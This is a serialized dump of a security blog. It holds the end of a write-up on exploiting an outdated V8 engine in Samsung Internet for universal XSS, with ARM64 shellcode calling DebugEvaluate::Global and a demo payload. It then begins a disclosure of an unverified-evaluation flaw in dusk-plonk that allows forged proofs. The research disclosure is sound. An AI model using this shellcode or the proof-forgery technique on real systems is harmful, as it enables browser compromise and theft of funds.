x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[147961],{"type":24,"tag":284,"props":147962,"children":147963},{"__ignoreMap":7},[147964,147972,147980,147988,147996,148004,148012,148020,148028,148036,148044,148052,148060,148067,148075,148083,148091,148099,148106,148114,148121,148129,148137,148144,148151,148158,148165,148172,148179,148187,148195,148202,148210,148218,148225,148233,148241,148248,148255,148263,148271,148279,148286,148294,148302,148310,148318,148326,148334,148342,148350,148358,148366,148374,148381,148389,148397,148404,148412,148420,148428,148436,148443,148451,148458,148465,148473,148481,148489,148497,148506,148515,148523],{"type":24,"tag":327,"props":147965,"children":147966},{"class":329,"line":330},[147967],{"type":24,"tag":327,"props":147968,"children":147969},{},[147970],{"type":29,"value":147971},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":24,"tag":327,"props":147973,"children":147974},{"class":329,"line":367},[147975],{"type":24,"tag":327,"props":147976,"children":147977},{},[147978],{"type":29,"value":147979},"movz x1, #0xf7a0\n",{"type":24,"tag":327,"props":147981,"children":147982},{"class":329,"line":408},[147983],{"type":24,"tag":327,"props":147984,"children":147985},{},[147986],{"type":29,"value":147987},"movk x1, #0x0071, lsl #16\n",{"type":24,"tag":327,"props":147989,"children":147990},{"class":329,"line":421},[147991],{"type":24,"tag":327,"props":147992,"children":147993},{},[147994],{"type":29,"value":147995},"add x9, x12, x1\n",{"type":24,"tag":327,"props":147997,"children":147998},{"class":329,"line":450},[147999],{"type":24,"tag":327,"props":148000,"children":148001},{},[148002],{"type":29,"value":148003},"movz x1, #0x5ac8\n",{"type":24,"tag":327,"props":148005,"children":148006},{"class":329,"line":481},[148007],{"type":24,"tag":327,"props":148008,"children":148009},{},[148010],{"type":29,"value":148011},"movk x1, #0x054f, lsl #16\n",{"type":24,"tag":327,"props":148013,"children":148014},{"class":329,"line":500},[148015],{"type":24,"tag":327,"props":148016,"children":148017},{},[148018],{"type":29,"value":148019},"add x0, x12, x1\n",{"type":24,"tag":327,"props":148021,"children":148022},{"class":329,"line":529},[148023],{"type":24,"tag":327,"props":148024,"children":148025},{},[148026],{"type":29,"value":148027},"blr x9\n",{"type":24,"tag":327,"props":148029,"children":148030},{"class":329,"line":538},[148031],{"type":24,"tag":327,"props":148032,"children":148033},{},[148034],{"type":29,"value":148035},"// *x0 is isolate pointer\n",{"type":24,"tag":327,"props":148037,"children":148038},{"class":329,"line":547},[148039],{"type":24,"tag":327,"props":148040,"children":148041},{},[148042],{"type":29,"value":148043},"// store isolate ptr to stack\n",{"type":24,"tag":327,"props":148045,"children":148046},{"class":329,"line":557},[148047],{"type":24,"tag":327,"props":148048,"children":148049},{},[148050],{"type":29,"value":148051},"ldr x13, [x0]\n",{"type":24,"tag":327,"props":148053,"children":148054},{"class":329,"line":586},[148055],{"type":24,"tag":327,"props":148056,"children":148057},{},[148058],{"type":29,"value":148059},"str x13, [sp, #-16]!\n",{"type":24,"tag":327,"props":148061,"children":148062},{"class":329,"line":1017},[148063],{"type":24,"tag":327,"props":148064,"children":148065},{"emptyLinePlaceholder":16},[148066],{"type":29,"value":544},{"type":24,"tag":327,"props":148068,"children":148069},{"class":329,"line":1026},[148070],{"type":24,"tag":327,"props":148071,"children":148072},{},[148073],{"type":29,"value":148074},"// store x10 = v8::String::NewFromUTF8\n",{"type":24,"tag":327,"props":148076,"children":148077},{"class":329,"line":1048},[148078],{"type":24,"tag":327,"props":148079,"children":148080},{},[148081],{"type":29,"value":148082},"movz x1, #0x1140\n",{"type":24,"tag":327,"props":148084,"children":148085},{"class":329,"line":1067},[148086],{"type":24,"tag":327,"props":148087,"children":148088},{},[148089],{"type":29,"value":148090},"movk x1, #0x0242, lsl #16\n",{"type":24,"tag":327,"props":148092,"children":148093},{"class":329,"line":1075},[148094],{"type":24,"tag":327,"props":148095,"children":148096},{},[148097],{"type":29,"value":148098},"sub x10, x12, x1\n",{"type":24,"tag":327,"props":148100,"children":148101},{"class":329,"line":1084},[148102],{"type":24,"tag":327,"props":148103,"children":148104},{"emptyLinePlaceholder":16},[148105],{"type":29,"value":544},{"type":24,"tag":327,"props":148107,"children":148108},{"class":329,"line":1100},[148109],{"type":24,"tag":327,"props":148110,"children":148111},{},[148112],{"type":29,"value":148113},"// mmap a RW page for our xss payload\n",{"type":24,"tag":327,"props":148115,"children":148116},{"class":329,"line":1128},[148117],{"type":24,"tag":327,"props":148118,"children":148119},{},[148120],{"type":29,"value":146464},{"type":24,"tag":327,"props":148122,"children":148123},{"class":329,"line":1148},[148124],{"type":24,"tag":327,"props":148125,"children":148126},{},[148127],{"type":29,"value":148128},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":24,"tag":327,"props":148130,"children":148131},{"class":329,"line":1176},[148132],{"type":24,"tag":327,"props":148133,"children":148134},{},[148135],{"type":29,"value":148136},"mov x2, #3\n",{"type":24,"tag":327,"props":148138,"children":148139},{"class":329,"line":1184},[148140],{"type":24,"tag":327,"props":148141,"children":148142},{},[148143],{"type":29,"value":146487},{"type":24,"tag":327,"props":148145,"children":148146},{"class":329,"line":1192},[148147],{"type":24,"tag":327,"props":148148,"children":148149},{},[148150],{"type":29,"value":146495},{"type":24,"tag":327,"props":148152,"children":148153},{"class":329,"line":1212},[148154],{"type":24,"tag":327,"props":148155,"children":148156},{},[148157],{"type":29,"value":146503},{"type":24,"tag":327,"props":148159,"children":148160},{"class":329,"line":4841},[148161],{"type":24,"tag":327,"props":148162,"children":148163},{},[148164],{"type":29,"value":146511},{"type":24,"tag":327,"props":148166,"children":148167},{"class":329,"line":4862},[148168],{"type":24,"tag":327,"props":148169,"children":148170},{},[148171],{"type":29,"value":146426},{"type":24,"tag":327,"props":148173,"children":148174},{"class":329,"line":4870},[148175],{"type":24,"tag":327,"props":148176,"children":148177},{"emptyLinePlaceholder":16},[148178],{"type":29,"value":544},{"type":24,"tag":327,"props":148180,"children":148181},{"class":329,"line":4879},[148182],{"type":24,"tag":327,"props":148183,"children":148184},{},[148185],{"type":29,"value":148186},"// write our xss payload to mmapped rw page\n",{"type":24,"tag":327,"props":148188,"children":148189},{"class":329,"line":4913},[148190],{"type":24,"tag":327,"props":148191,"children":148192},{},[148193],{"type":29,"value":148194},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":24,"tag":327,"props":148196,"children":148197},{"class":329,"line":4938},[148198],{"type":24,"tag":327,"props":148199,"children":148200},{"emptyLinePlaceholder":16},[148201],{"type":29,"value":544},{"type":24,"tag":327,"props":148203,"children":148204},{"class":329,"line":4974},[148205],{"type":24,"tag":327,"props":148206,"children":148207},{},[148208],{"type":29,"value":148209},"// store x11 = XSS_PAYLOAD string\n",{"type":24,"tag":327,"props":148211,"children":148212},{"class":329,"line":4982},[148213],{"type":24,"tag":327,"props":148214,"children":148215},{},[148216],{"type":29,"value":148217},"mov x11, x0\n",{"type":24,"tag":327,"props":148219,"children":148220},{"class":329,"line":4990},[148221],{"type":24,"tag":327,"props":148222,"children":148223},{"emptyLinePlaceholder":16},[148224],{"type":29,"value":544},{"type":24,"tag":327,"props":148226,"children":148227},{"class":329,"line":4999},[148228],{"type":24,"tag":327,"props":148229,"children":148230},{},[148231],{"type":29,"value":148232},"// pop back isolate pointer\n",{"type":24,"tag":327,"props":148234,"children":148235},{"class":329,"line":5042},[148236],{"type":24,"tag":327,"props":148237,"children":148238},{},[148239],{"type":29,"value":148240},"ldr x13, [sp], #16\n",{"type":24,"tag":327,"props":148242,"children":148243},{"class":329,"line":5075},[148244],{"type":24,"tag":327,"props":148245,"children":148246},{"emptyLinePlaceholder":16},[148247],{"type":29,"value":544},{"type":24,"tag":327,"props":148249,"children":148250},{"class":329,"line":5083},[148251],{"type":24,"tag":327,"props":148252,"children":148253},{},[148254],{"type":29,"value":146547},{"type":24,"tag":327,"props":148256,"children":148257},{"class":329,"line":5091},[148258],{"type":24,"tag":327,"props":148259,"children":148260},{},[148261],{"type":29,"value":148262},"// x13 = isolate *\n",{"type":24,"tag":327,"props":148264,"children":148265},{"class":329,"line":5100},[148266],{"type":24,"tag":327,"props":148267,"children":148268},{},[148269],{"type":29,"value":148270},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":24,"tag":327,"props":148272,"children":148273},{"class":329,"line":5176},[148274],{"type":24,"tag":327,"props":148275,"children":148276},{},[148277],{"type":29,"value":148278},"// x10 = v8::String::NewFromUtf8\n",{"type":24,"tag":327,"props":148280,"children":148281},{"class":329,"line":5209},[148282],{"type":24,"tag":327,"props":148283,"children":148284},{"emptyLinePlaceholder":16},[148285],{"type":29,"value":544},{"type":24,"tag":327,"props":148287,"children":148288},{"class":329,"line":5217},[148289],{"type":24,"tag":327,"props":148290,"children":148291},{},[148292],{"type":29,"value":148293},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":24,"tag":327,"props":148295,"children":148296},{"class":329,"line":5225},[148297],{"type":24,"tag":327,"props":148298,"children":148299},{},[148300],{"type":29,"value":148301},"// arg0 = isolate *\n",{"type":24,"tag":327,"props":148303,"children":148304},{"class":329,"line":5263},[148305],{"type":24,"tag":327,"props":148306,"children":148307},{},[148308],{"type":29,"value":148309},"mov x0, x13\n",{"type":24,"tag":327,"props":148311,"children":148312},{"class":329,"line":5276},[148313],{"type":24,"tag":327,"props":148314,"children":148315},{},[148316],{"type":29,"value":148317},"// arg1 = char *c_str\n",{"type":24,"tag":327,"props":148319,"children":148320},{"class":329,"line":5289},[148321],{"type":24,"tag":327,"props":148322,"children":148323},{},[148324],{"type":29,"value":148325},"mov x1, x11\n",{"type":24,"tag":327,"props":148327,"children":148328},{"class":329,"line":5302},[148329],{"type":24,"tag":327,"props":148330,"children":148331},{},[148332],{"type":29,"value":148333},"// arg2 = type = kNormal\n",{"type":24,"tag":327,"props":148335,"children":148336},{"class":329,"line":5360},[148337],{"type":24,"tag":327,"props":148338,"children":148339},{},[148340],{"type":29,"value":148341},"mov x2, #0\n",{"type":24,"tag":327,"props":148343,"children":148344},{"class":329,"line":5369},[148345],{"type":24,"tag":327,"props":148346,"children":148347},{},[148348],{"type":29,"value":148349},"// arg4 = length\n",{"type":24,"tag":327,"props":148351,"children":148352},{"class":329,"line":38991},[148353],{"type":24,"tag":327,"props":148354,"children":148355},{},[148356],{"type":29,"value":148357},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":24,"tag":327,"props":148359,"children":148360},{"class":329,"line":39012},[148361],{"type":24,"tag":327,"props":148362,"children":148363},{},[148364],{"type":29,"value":148365},"// call NewFromUTF8\n",{"type":24,"tag":327,"props":148367,"children":148368},{"class":329,"line":87678},[148369],{"type":24,"tag":327,"props":148370,"children":148371},{},[148372],{"type":29,"value":148373},"blr x10\n",{"type":24,"tag":327,"props":148375,"children":148376},{"class":329,"line":87691},[148377],{"type":24,"tag":327,"props":148378,"children":148379},{"emptyLinePlaceholder":16},[148380],{"type":29,"value":544},{"type":24,"tag":327,"props":148382,"children":148383},{"class":329,"line":87699},[148384],{"type":24,"tag":327,"props":148385,"children":148386},{},[148387],{"type":29,"value":148388},"// store x14 = String XSS_PAYLOAD\n",{"type":24,"tag":327,"props":148390,"children":148391},{"class":329,"line":87707},[148392],{"type":24,"tag":327,"props":148393,"children":148394},{},[148395],{"type":29,"value":148396},"mov x14, x0\n",{"type":24,"tag":327,"props":148398,"children":148399},{"class":329,"line":87715},[148400],{"type":24,"tag":327,"props":148401,"children":148402},{"emptyLinePlaceholder":16},[148403],{"type":29,"value":544},{"type":24,"tag":327,"props":148405,"children":148406},{"class":329,"line":87755},[148407],{"type":24,"tag":327,"props":148408,"children":148409},{},[148410],{"type":29,"value":148411},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":327,"props":148413,"children":148414},{"class":329,"line":87763},[148415],{"type":24,"tag":327,"props":148416,"children":148417},{},[148418],{"type":29,"value":148419},"movz x1, #0xe44c\n",{"type":24,"tag":327,"props":148421,"children":148422},{"class":329,"line":94950},[148423],{"type":24,"tag":327,"props":148424,"children":148425},{},[148426],{"type":29,"value":148427},"movk x1, #0x014e, lsl #16\n",{"type":24,"tag":327,"props":148429,"children":148430},{"class":329,"line":94958},[148431],{"type":24,"tag":327,"props":148432,"children":148433},{},[148434],{"type":29,"value":148435},"sub x9, x12, x1\n",{"type":24,"tag":327,"props":148437,"children":148438},{"class":329,"line":108304},[148439],{"type":24,"tag":327,"props":148440,"children":148441},{"emptyLinePlaceholder":16},[148442],{"type":29,"value":544},{"type":24,"tag":327,"props":148444,"children":148445},{"class":329,"line":108312},[148446],{"type":24,"tag":327,"props":148447,"children":148448},{},[148449],{"type":29,"value":148450},"// call v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":327,"props":148452,"children":148453},{"class":329,"line":108320},[148454],{"type":24,"tag":327,"props":148455,"children":148456},{},[148457],{"type":29,"value":148301},{"type":24,"tag":327,"props":148459,"children":148460},{"class":329,"line":108328},[148461],{"type":24,"tag":327,"props":148462,"children":148463},{},[148464],{"type":29,"value":148309},{"type":24,"tag":327,"props":148466,"children":148467},{"class":329,"line":108356},[148468],{"type":24,"tag":327,"props":148469,"children":148470},{},[148471],{"type":29,"value":148472},"// arg1 = String *source\n",{"type":24,"tag":327,"props":148474,"children":148475},{"class":329,"line":111127},[148476],{"type":24,"tag":327,"props":148477,"children":148478},{},[148479],{"type":29,"value":148480},"mov x1, x14\n",{"type":24,"tag":327,"props":148482,"children":148483},{"class":329,"line":111135},[148484],{"type":24,"tag":327,"props":148485,"children":148486},{},[148487],{"type":29,"value":148488},"// arg2 = mode = kDefault\n",{"type":24,"tag":327,"props":148490,"children":148492},{"class":329,"line":148491},69,[148493],{"type":24,"tag":327,"props":148494,"children":148495},{},[148496],{"type":29,"value":148341},{"type":24,"tag":327,"props":148498,"children":148500},{"class":329,"line":148499},70,[148501],{"type":24,"tag":327,"props":148502,"children":148503},{},[148504],{"type":29,"value":148505},"// arg3 = repl_mode = kYes\n",{"type":24,"tag":327,"props":148507,"children":148509},{"class":329,"line":148508},71,[148510],{"type":24,"tag":327,"props":148511,"children":148512},{},[148513],{"type":29,"value":148514},"mov x3, #0\n",{"type":24,"tag":327,"props":148516,"children":148518},{"class":329,"line":148517},72,[148519],{"type":24,"tag":327,"props":148520,"children":148521},{"emptyLinePlaceholder":16},[148522],{"type":29,"value":544},{"type":24,"tag":327,"props":148524,"children":148526},{"class":329,"line":148525},73,[148527],{"type":24,"tag":327,"props":148528,"children":148529},{},[148530],{"type":29,"value":148027},{"type":24,"tag":235,"props":148532,"children":148534},{"id":148533},"uxss-demo",[148535],{"type":29,"value":148536},"UXSS Demo",{"type":24,"tag":25,"props":148538,"children":148539},{},[148540,148542,148548],{"type":29,"value":148541},"Below is a demo that executes the following UXSS payload: ",{"type":24,"tag":284,"props":148543,"children":148545},{"className":148544},[],[148546],{"type":29,"value":148547},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":66},{"type":24,"tag":138585,"props":148550,"children":148553},{"className":148551,"controls":16},[148552],"blog-video-responsive",[148554,148556,148560],{"type":29,"value":148555},"\n  ",{"type":24,"tag":147791,"props":148557,"children":148559},{"src":148558,"type":138583},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":148561},"\n  Your browser does not support the video tag.\n",{"type":24,"tag":228,"props":148563,"children":148564},{"id":10412},[148565],{"type":29,"value":226},{"type":24,"tag":25,"props":148567,"children":148568},{},[148569],{"type":29,"value":148570},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":24,"tag":25,"props":148572,"children":148573},{},[148574],{"type":29,"value":148575},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":24,"tag":10448,"props":148577,"children":148578},{},[148579],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":148581},[148582,148586,148589,148599],{"id":35723,"depth":367,"text":35726,"children":148583},[148584,148585],{"id":138719,"depth":408,"text":138722},{"id":138802,"depth":408,"text":138805},{"id":138835,"depth":367,"text":138838,"children":148587},[148588],{"id":138976,"depth":408,"text":138830},{"id":139120,"depth":367,"text":139123,"children":148590},[148591,148592,148593,148594,148595,148596,148597,148598],{"id":139126,"depth":408,"text":139129},{"id":139583,"depth":408,"text":139586},{"id":139766,"depth":408,"text":139769},{"id":139877,"depth":408,"text":139880},{"id":140154,"depth":408,"text":140157},{"id":142864,"depth":408,"text":142867},{"id":146145,"depth":408,"text":146148},{"id":148533,"depth":408,"text":148536},{"id":10412,"depth":367,"text":226},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":148604,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":148605,"description":148606,"date":148607,"author":148608,"image":148609,"isFeatured":16,"onBlogPage":16,"tags":148611,"body":148614,"_type":10481,"_id":153878,"_source":10483,"_file":153879,"_stem":153880,"_extension":10486},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[114565,114566],{"src":148610,"width":103995,"height":14},"/posts/dusk-commitment-issues/title.png",[148612,148613],"dusk","plonk",{"type":21,"children":148615,"toc":153858},[148616,148622,148663,148675,148681,148695,148700,148706,148997,149001,149273,149503,149509,150194,150198,150693,150701,150707,150726,150731,150737,150962,151001,151012,151018,151029,151737,151742,151745,151751,151804,151839,151871,151876,151880,151883,151889,151900,151913,151944,152011,152019,152041,152054,152481,152504,152509,152512,152517,152544,152640,152651,152698,152736,152747,153085,153102,153110,153113,153119,153124,153158,153166,153247,153250,153256,153270,153288,153293,153333,153341,153362,153365,153371,153376,153441,153455,153458,153464,153504,153515,153520,153525,153531,153545,153626,153647,153674,153677,153683,153697,153702,153707,153712,153847,153853],{"type":24,"tag":42085,"props":148617,"children":148619},{"id":148618},"commitment-issues-unverified-evaluations-in-dusks-plonk",[148620],{"type":29,"value":148621},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":24,"tag":25,"props":148623,"children":148624},{},[148625,148627,148634,148636,148643,148645,148652,148654,148661],{"type":29,"value":148626},"We found a critical soundness vulnerability in ",{"type":24,"tag":57,"props":148628,"children":148631},{"href":148629,"rel":148630},"https://github.com/dusk-network/plonk/",[61],[148632],{"type":29,"value":148633},"dusk-plonk",{"type":29,"value":148635},", the PLONK implementation powering ",{"type":24,"tag":57,"props":148637,"children":148640},{"href":148638,"rel":148639},"https://dusk.network/",[61],[148641],{"type":29,"value":148642},"Dusk Network's",{"type":29,"value":148644}," ~$60M ",{"type":24,"tag":57,"props":148646,"children":148649},{"href":148647,"rel":148648},"https://www.coingecko.com/en/coins/dusk",[61],[148650],{"type":29,"value":148651},"market cap",{"type":29,"value":148653},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":24,"tag":57,"props":148655,"children":148658},{"href":148656,"rel":148657},"https://github.com/dusk-network/rusk",[61],[148659],{"type":29,"value":148660},"Rusk",{"type":29,"value":148662}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":24,"tag":25,"props":148664,"children":148665},{},[148666,148668,148673],{"type":29,"value":148667},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":24,"tag":188,"props":148669,"children":148670},{},[148671],{"type":29,"value":148672},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":148674}," The prover can set them to whatever values make the equation pass.",{"type":24,"tag":228,"props":148676,"children":148678},{"id":148677},"how-plonk-works-briefly",[148679],{"type":29,"value":148680},"How PLONK works (briefly)",{"type":24,"tag":25,"props":148682,"children":148683},{},[148684,148686,148693],{"type":29,"value":148685},"For a rigorous treatment see the ",{"type":24,"tag":57,"props":148687,"children":148690},{"href":148688,"rel":148689},"https://eprint.iacr.org/2019/953",[61],[148691],{"type":29,"value":148692},"original paper",{"type":29,"value":148694},"; what follows covers only the parts needed to understand the bug.",{"type":24,"tag":25,"props":148696,"children":148697},{},[148698],{"type":29,"value":148699},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":24,"tag":235,"props":148701,"children":148703},{"id":148702},"arithmetic-circuits-and-constraints",[148704],{"type":29,"value":148705},"Arithmetic circuits and constraints",{"type":24,"tag":25,"props":148707,"children":148708},{},[148709,148711,148760,148762,148911,148913,148996],{"type":29,"value":148710},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":24,"tag":284,"props":148712,"children":148714},{"className":148713},[2949,2950],[148715],{"type":24,"tag":327,"props":148716,"children":148718},{"className":148717},[2955],[148719],{"type":24,"tag":327,"props":148720,"children":148722},{"className":148721,"ariaHidden":2961},[2960],[148723],{"type":24,"tag":327,"props":148724,"children":148726},{"className":148725},[2966],[148727,148731,148736,148741,148746,148750,148755],{"type":24,"tag":327,"props":148728,"children":148730},{"className":148729,"style":3685},[2971],[],{"type":24,"tag":327,"props":148732,"children":148734},{"className":148733},[3121],[148735],{"type":29,"value":349},{"type":24,"tag":327,"props":148737,"children":148739},{"className":148738},[2977,2978],[148740],{"type":29,"value":603},{"type":24,"tag":327,"props":148742,"children":148744},{"className":148743},[11695],[148745],{"type":29,"value":11698},{"type":24,"tag":327,"props":148747,"children":148749},{"className":148748,"style":3169},[2992],[],{"type":24,"tag":327,"props":148751,"children":148753},{"className":148752,"style":100260},[2977,2978],[148754],{"type":29,"value":10722},{"type":24,"tag":327,"props":148756,"children":148758},{"className":148757},[3143],[148759],{"type":29,"value":3146},{"type":29,"value":148761}," on an elliptic curve, by e.g proving that ",{"type":24,"tag":284,"props":148763,"children":148765},{"className":148764},[2949,2950],[148766],{"type":24,"tag":327,"props":148767,"children":148769},{"className":148768},[2955],[148770],{"type":24,"tag":327,"props":148771,"children":148773},{"className":148772,"ariaHidden":2961},[2960],[148774,148836,148898],{"type":24,"tag":327,"props":148775,"children":148777},{"className":148776},[2966],[148778,148782,148823,148827,148832],{"type":24,"tag":327,"props":148779,"children":148781},{"className":148780,"style":130111},[2971],[],{"type":24,"tag":327,"props":148783,"children":148785},{"className":148784},[2977],[148786,148791],{"type":24,"tag":327,"props":148787,"children":148789},{"className":148788,"style":100260},[2977,2978],[148790],{"type":29,"value":10722},{"type":24,"tag":327,"props":148792,"children":148794},{"className":148793},[3032],[148795],{"type":24,"tag":327,"props":148796,"children":148798},{"className":148797},[3037],[148799],{"type":24,"tag":327,"props":148800,"children":148802},{"className":148801},[3043],[148803],{"type":24,"tag":327,"props":148804,"children":148806},{"className":148805,"style":11594},[3048],[148807],{"type":24,"tag":327,"props":148808,"children":148809},{"style":11628},[148810,148814],{"type":24,"tag":327,"props":148811,"children":148813},{"className":148812,"style":3059},[3058],[],{"type":24,"tag":327,"props":148815,"children":148817},{"className":148816},[3064,3065,3066,3067],[148818],{"type":24,"tag":327,"props":148819,"children":148821},{"className":148820},[2977,3067],[148822],{"type":29,"value":10731},{"type":24,"tag":327,"props":148824,"children":148826},{"className":148825,"style":2993},[2992],[],{"type":24,"tag":327,"props":148828,"children":148830},{"className":148829},[2998],[148831],{"type":29,"value":384},{"type":24,"tag":327,"props":148833,"children":148835},{"className":148834,"style":2993},[2992],[],{"type":24,"tag":327,"props":148837,"children":148839},{"className":148838},[2966],[148840,148844,148885,148889,148894],{"type":24,"tag":327,"props":148841,"children":148843},{"className":148842,"style":129986},[2971],[],{"type":24,"tag":327,"props":148845,"children":148847},{"className":148846},[2977],[148848,148853],{"type":24,"tag":327,"props":148849,"children":148851},{"className":148850},[2977,2978],[148852],{"type":29,"value":603},{"type":24,"tag":327,"props":148854,"children":148856},{"className":148855},[3032],[148857],{"type":24,"tag":327,"props":148858,"children":148860},{"className":148859},[3037],[148861],{"type":24,"tag":327,"props":148862,"children":148864},{"className":148863},[3043],[148865],{"type":24,"tag":327,"props":148866,"children":148868},{"className":148867,"style":11594},[3048],[148869],{"type":24,"tag":327,"props":148870,"children":148871},{"style":11628},[148872,148876],{"type":24,"tag":327,"props":148873,"children":148875},{"className":148874,"style":3059},[3058],[],{"type":24,"tag":327,"props":148877,"children":148879},{"className":148878},[3064,3065,3066,3067],[148880],{"type":24,"tag":327,"props":148881,"children":148883},{"className":148882},[2977,3067],[148884],{"type":29,"value":24805},{"type":24,"tag":327,"props":148886,"children":148888},{"className":148887,"style":3705},[2992],[],{"type":24,"tag":327,"props":148890,"children":148892},{"className":148891},[3710],[148893],{"type":29,"value":394},{"type":24,"tag":327,"props":148895,"children":148897},{"className":148896,"style":3705},[2992],[],{"type":24,"tag":327,"props":148899,"children":148901},{"className":148900},[2966],[148902,148906],{"type":24,"tag":327,"props":148903,"children":148905},{"className":148904,"style":100805},[2971],[],{"type":24,"tag":327,"props":148907,"children":148909},{"className":148908},[2977],[148910],{"type":29,"value":61392},{"type":29,"value":148912},", here in ",{"type":24,"tag":284,"props":148914,"children":148916},{"className":148915},[2949,2950],[148917],{"type":24,"tag":327,"props":148918,"children":148920},{"className":148919},[2955],[148921],{"type":24,"tag":327,"props":148922,"children":148924},{"className":148923,"ariaHidden":2961},[2960],[148925],{"type":24,"tag":327,"props":148926,"children":148928},{"className":148927},[2966],[148929,148934],{"type":24,"tag":327,"props":148930,"children":148933},{"className":148931,"style":148932},[2971],"height:0.8389em;vertical-align:-0.15em;",[],{"type":24,"tag":327,"props":148935,"children":148937},{"className":148936},[2977],[148938,148943],{"type":24,"tag":327,"props":148939,"children":148941},{"className":148940},[2977,128549],[148942],{"type":29,"value":128552},{"type":24,"tag":327,"props":148944,"children":148946},{"className":148945},[3032],[148947],{"type":24,"tag":327,"props":148948,"children":148950},{"className":148949},[3037,3038],[148951,148985],{"type":24,"tag":327,"props":148952,"children":148954},{"className":148953},[3043],[148955,148980],{"type":24,"tag":327,"props":148956,"children":148958},{"className":148957,"style":99826},[3048],[148959],{"type":24,"tag":327,"props":148960,"children":148961},{"style":99830},[148962,148966],{"type":24,"tag":327,"props":148963,"children":148965},{"className":148964,"style":3059},[3058],[],{"type":24,"tag":327,"props":148967,"children":148969},{"className":148968},[3064,3065,3066,3067],[148970],{"type":24,"tag":327,"props":148971,"children":148973},{"className":148972},[2977,3067],[148974],{"type":24,"tag":327,"props":148975,"children":148977},{"className":148976},[2977,3067],[148978],{"type":29,"value":148979},"37",{"type":24,"tag":327,"props":148981,"children":148983},{"className":148982},[3150],[148984],{"type":29,"value":3153},{"type":24,"tag":327,"props":148986,"children":148988},{"className":148987},[3043],[148989],{"type":24,"tag":327,"props":148990,"children":148992},{"className":148991,"style":99857},[3048],[148993],{"type":24,"tag":327,"props":148994,"children":148995},{},[],{"type":29,"value":66},{"type":24,"tag":148998,"props":148999,"children":149000},"arithmetic-circuit-widget",{},[],{"type":24,"tag":25,"props":149002,"children":149003},{},[149004,149006,149032,149034,149113,149115,149192,149194,149271],{"type":29,"value":149005},"Each gate ",{"type":24,"tag":284,"props":149007,"children":149009},{"className":149008},[2949,2950],[149010],{"type":24,"tag":327,"props":149011,"children":149013},{"className":149012},[2955],[149014],{"type":24,"tag":327,"props":149015,"children":149017},{"className":149016,"ariaHidden":2961},[2960],[149018],{"type":24,"tag":327,"props":149019,"children":149021},{"className":149020},[2966],[149022,149027],{"type":24,"tag":327,"props":149023,"children":149026},{"className":149024,"style":149025},[2971],"height:0.6595em;",[],{"type":24,"tag":327,"props":149028,"children":149030},{"className":149029},[2977,2978],[149031],{"type":29,"value":11334},{"type":29,"value":149033}," has a left input ",{"type":24,"tag":284,"props":149035,"children":149037},{"className":149036},[2949,2950],[149038],{"type":24,"tag":327,"props":149039,"children":149041},{"className":149040},[2955],[149042],{"type":24,"tag":327,"props":149043,"children":149045},{"className":149044,"ariaHidden":2961},[2960],[149046],{"type":24,"tag":327,"props":149047,"children":149049},{"className":149048},[2966],[149050,149055],{"type":24,"tag":327,"props":149051,"children":149054},{"className":149052,"style":149053},[2971],"height:0.8444em;vertical-align:-0.15em;",[],{"type":24,"tag":327,"props":149056,"children":149058},{"className":149057},[2977],[149059,149064],{"type":24,"tag":327,"props":149060,"children":149062},{"className":149061,"style":99786},[2977,2978],[149063],{"type":29,"value":99789},{"type":24,"tag":327,"props":149065,"children":149067},{"className":149066},[3032],[149068],{"type":24,"tag":327,"props":149069,"children":149071},{"className":149070},[3037,3038],[149072,149102],{"type":24,"tag":327,"props":149073,"children":149075},{"className":149074},[3043],[149076,149097],{"type":24,"tag":327,"props":149077,"children":149079},{"className":149078,"style":100303},[3048],[149080],{"type":24,"tag":327,"props":149081,"children":149083},{"style":149082},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[149084,149088],{"type":24,"tag":327,"props":149085,"children":149087},{"className":149086,"style":3059},[3058],[],{"type":24,"tag":327,"props":149089,"children":149091},{"className":149090},[3064,3065,3066,3067],[149092],{"type":24,"tag":327,"props":149093,"children":149095},{"className":149094},[2977,2978,3067],[149096],{"type":29,"value":11334},{"type":24,"tag":327,"props":149098,"children":149100},{"className":149099},[3150],[149101],{"type":29,"value":3153},{"type":24,"